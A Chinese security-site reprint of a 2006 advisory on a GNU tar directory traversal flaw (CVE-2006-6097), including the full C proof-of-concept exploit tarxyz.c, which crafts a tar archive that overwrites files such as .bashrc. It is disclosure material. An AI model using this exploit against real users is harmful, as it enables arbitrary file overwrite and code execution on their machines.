| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
安全365
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
GNU Tar GNUTYPE_NAMES远程目录遍历漏洞
GNU Tar GNUTYPE_NAMES远程目录遍历漏洞
作者:佚名 文章来源:不详 点击数: 更新时间:2007-1-26 15:19:43
2006-11-29 10:30:13

发布日期:2006-11-21
更新日期:2006-11-29

受影响系统
GNU tar 1.16
GNU tar 1.15.1
描述:

BUGTRAQ  ID: 21235
CVE(CAN) ID: CVE-2006-6097

GNU tar可创建和解压tar文档,并进行各种存档文件管理。

GNU tar在处理特定的记录时未能正确处理可能的符号链接,远程攻击者可能利用此漏洞在用户机器的任意位置创建文件。

tar的extract.c文件中的extract_archive()函数和mangle.c文件中的extract_mangle()函数会处理包含有符号链接的GNUTYPE_NAMES记录类型。如果用户受骗打开了特制的tar文件的话,就会导致覆盖任意文件。

<*来源:Teemu Salmela (teemu.salmela@iki.fi)
  
  链接:http://secunia.com/advisories/23115/
        http://archives.neohapsis.com/archives/fulldisclosure/2006-11/0344.html
        http://marc.theaimsgroup.com/?l=bugtraq&m=116474353115287&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*
  * tarxyz.c - GNU tar directory traversal exploit.
  * Written by Teemu Salmela.
  *
  * Example usage (creates a tar file that extracts /home/teemu/.bashrc):
  *   $ gcc -o tarxyz tarxyz.c
  *   $ ./tarxyz > ~/xyz.tar
  *   $ mkdir -p /tmp/xyz/home/teemu/
  *   $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc
  *   $ cd /tmp
  *   $ tar -rf ~/xyz.tar xyz/home/teemu
  */

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

struct posix_header
{                               /* byte offset */
   char name[100];               /*   0 */
   char mode[8];                 /* 100 */
   char uid[8];                  /* 108 */
   char gid[8];                  /* 116 */
   char size[12];                /* 124 */
   char mtime[12];               /* 136 */
   char chksum[8];               /* 148 */
   char typeflag;                /* 156 */
   char linkname[100];           /* 157 */
   char magic[6];                /* 257 */
   char version[2];              /* 263 */
   char uname[32];               /* 265 */
   char gname[32];               /* 297 */
   char devmajor[8];             /* 329 */
   char devminor[8];             /* 337 */
   char prefix[155];             /* 345 */
                                 /* 500 */
};

#define GNUTYPE_NAMES 'N'

#define BLOCKSIZE       512

union block
{
   char buffer[BLOCKSIZE];
   struct posix_header header;
};

void
data(void *p, size_t size)
{
         size_t n = 0;
         char b[BLOCKSIZE];

         while (size - n > 512) {
                 fwrite(&((char *)p)[n], 1, 512, stdout);
                 n += 512;
         }
         if (size - n) {
                 memset(b, 0, sizeof(b));
                 memcpy(b, &((char *)p)[n], size - n);
                 fwrite(b, 1, sizeof(b), stdout);
         }
}

int
main(int argc, char *argv[])
{
         char *link_name = "xyz";
         union block b;
         char *d;
         int i;
        unsigned int cksum;

         if (argc > 1)
                 link_name = argv[1];

         if (asprintf(&d, "Symlink / to %s\n", link_name) < 0) {
                 fprintf(stderr, "out of memory\n");
                 exit(1);
         }
         memset(&b, 0, sizeof(b));
         strcpy(b.header.name, "xyz");
         strcpy(b.header.mode, "0000777");
         strcpy(b.header.uid, "0000000");
         strcpy(b.header.gid, "0000000");
         sprintf(b.header.size, "%011o", strlen(d));
         strcpy(b.header.mtime, "00000000000");
         strcpy(b.header.chksum, "        ");
         b.header.typeflag = GNUTYPE_NAMES;
         strcpy(b.header.magic, "ustar  ");
         strcpy(b.header.uname, "root");
         strcpy(b.header.gname, "root");
         for (cksum = 0, i = 0; i < sizeof(b); i++)
                 cksum += b.buffer[i] & 0xff;
         sprintf(b.header.chksum, "%06o ", cksum);
         fwrite(&b, 1, sizeof(b), stdout);
         data(d, strlen(d));
}

建议:

厂商补丁

GNU
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.gnu.org
新闻录入:admin    责任编辑:admin 
  • 上一篇新闻:

  • 下一篇新闻:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    Apache Mod_Auth_Kerb单
    GnuPG OpenPGP畸形消息处
    D-Bus signals.c本地拒绝
    GNU GV浏览器ps_gettext
    GNU Radius远程格式串处
    GNU GV浏览器ps_gettext
    HP-UX Software Distrib
    HP-UX Software Distrib
    Nullsoft Winamp Ultrav
    IE ADODB.Connection对象
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029
    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有